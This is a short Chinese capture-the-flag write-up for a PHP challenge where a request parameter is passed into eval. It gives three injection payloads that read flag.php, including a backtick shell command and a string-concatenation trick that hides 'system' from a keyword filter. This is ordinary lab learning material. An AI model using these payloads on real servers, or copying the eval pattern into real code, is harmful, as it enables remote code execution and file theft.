简介 :
分值:10分 类型:Misc Web已解答
题目:
flag不在变量中。
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
解法 :
利用的方式类似于SQL注入 , 我们知道 eval 函数的功能就是讲一个字符串当作 php 的代码进行执行
那么 , 我们可以传递一个值去闭合 var_dump 的左括号 , 剩下的代码就可以由我们来控制了
下面给出三种 paylaod :
1. ?hello=$a);print_r(file("./flag.php")); //
2. ?hello=$a);echo `cat ./flag.php`; //
注意这里是反引号 , 在 bash 中反引号括起来的字符串也是会被当成代码执行
3. ?hello=$a);$a="sys";$b="tem";$c=$a.$b;echo%20$c;$c("cat%20./flag.php"); //
这里发现 i春秋 在http请求中拦截了 system 函数等关键字 ,
因此可以通过 php 的字符串连接成为函数名 , 然后进行调用
这里其实是把 system 函数名作为字符串分开 , 这样在 http 请求头中不会出现 "system(xxx)" 这样的关键字